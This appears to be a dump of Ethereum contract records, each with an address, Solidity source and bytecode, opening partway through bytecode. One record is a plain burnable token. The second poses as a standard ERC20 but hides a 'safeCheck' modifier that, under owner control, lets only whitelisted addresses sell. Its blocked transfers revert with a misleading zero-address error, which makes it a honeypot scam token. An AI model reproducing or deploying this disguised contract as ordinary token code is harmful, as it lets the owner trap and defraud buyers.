08152604080832054918390529091205484935061170c91430390606490600402040281151561052f57fe5b600160a060020a0385166000908152602081905260408082208054949093049384019092553381529081205491925010156105b45733600090815260016020908152604080832054918390529091205461170c91430390606490600402040281151561059757fe5b336000908152602081905260409020805492909104918201905590505b600160a060020a03838116600081815260208181526040808320805433855282852080549091019055600183528184204390819055948452839055808320939093556003905220805460ff1916905582166108fc600a34600902049081150290604051600060405180830381858888f1935050505015801561063a573d6000803e3d6000fd5b506040805134815290513391600160a060020a038616917f05c49608ceafe9eb663c0ee9aeba6672eb04772e9259daa65871ce69a4233a749181900360200190a3505050565b3360009081526003602052604090205460ff1615156001146106ec576040805160e560020a62461bcd02815260206004820152601e60248201527f596f752068617665206e6f74206465706f73697420666f722073616c652e0000604482015290519081900360640190fd5b336000908152600360205260409020805460ff19169055565b600160a060020a0381166000908152600160209081526040808320549183905282205461170c91430390606490600402040281151561074057fe5b0492915050565b33600090815260208190526040812054116107ac576040805160e560020a62461bcd02815260206004820152601e60248201527f596f752068617665206e6f74206465706f73697420666f722073616c652e0000604482015290519081900360640190fd5b336000908152600260209081526040808320939093556003905220805460ff19166001179055565b600160a060020a0316600090815260208190526040902054905600a165627a7a72305820b208446215d286c3ff2794e6d053b9bcb594910fa90f3816c633730cf95e144a0029
[ 4 ]
0xf2d3bee00851fdf205f4fe825fe89d2abff88231
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract WOB { // Public variables of the token string public name; string public symbol; uint8 public decimals = 8; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function WOB( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a7578063313ce567146101d157806342966c68146101fc57806370a082311461021457806379cc67901461023557806395d89b4114610259578063a9059cbb1461026e578063cae9ca5114610294578063dd62ed3e146102fd575b600080fd5b3480156100ca57600080fd5b506100d3610324565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a03600435166024356103b2565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103df565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103e5565b3480156101dd57600080fd5b506101e6610454565b6040805160ff9092168252519081900360200190f35b34801561020857600080fd5b5061016c60043561045d565b34801561022057600080fd5b50610195600160a060020a03600435166104d5565b34801561024157600080fd5b5061016c600160a060020a03600435166024356104e7565b34801561026557600080fd5b506100d36105b8565b34801561027a57600080fd5b50610292600160a060020a0360043516602435610612565b005b3480156102a057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016c948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506106219650505050505050565b34801561030957600080fd5b50610195600160a060020a036004358116906024351661073a565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b505050505081565b336000908152600560209081526040808320600160a060020a039590951683529390529190912055600190565b60035481565b600160a060020a038316600090815260056020908152604080832033845290915281205482111561041557600080fd5b600160a060020a038416600090815260056020908152604080832033845290915290208054839003905561044a848484610757565b5060019392505050565b60025460ff1681565b3360009081526004602052604081205482111561047957600080fd5b3360008181526004602090815260409182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60046020526000908152604090205481565b600160a060020a03821660009081526004602052604081205482111561050c57600080fd5b600160a060020a038316600090815260056020908152604080832033845290915290205482111561053c57600080fd5b600160a060020a0383166000818152600460209081526040808320805487900390556005825280832033845282529182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103aa5780601f1061037f576101008083540402835291602001916103aa565b61061d338383610757565b5050565b60008361062e81856103b2565b15610732576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b838110156106c65781810151838201526020016106ae565b50505050905090810190601f1680156106f35780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561071557600080fd5b505af1158015610729573d6000803e3d6000fd5b50505050600191505b509392505050565b600560209081526000928352604080842090915290825290205481565b6000600160a060020a038316151561076e57600080fd5b600160a060020a03841660009081526004602052604090205482111561079357600080fd5b600160a060020a03831660009081526004602052604090205482810110156107ba57600080fd5b50600160a060020a038083166000818152600460209081526040808320805495891680855282852080548981039091559486905281548801909155815187815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600160a060020a0380841660009081526004602052604080822054928716825290205401811461085957fe5b505050505600a165627a7a723058202a0e39139e13d91f70fcd5b01434410ccb05b5309ad72a22069e62919d8ebe300029
[ 17 ]
0xf2d41bdb763a68c37a173d0ded95fe055804464d
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ //NFTAlley.io function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} _;} function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ff4c33788768c74eaacb1c8153ac4c02827bd83c72212c7bc8ed62d74ab87c5764736f6c63430006060033
[ 38 ]
0xf2d54d17d3dc3810a0d62042a0b381df122ed162
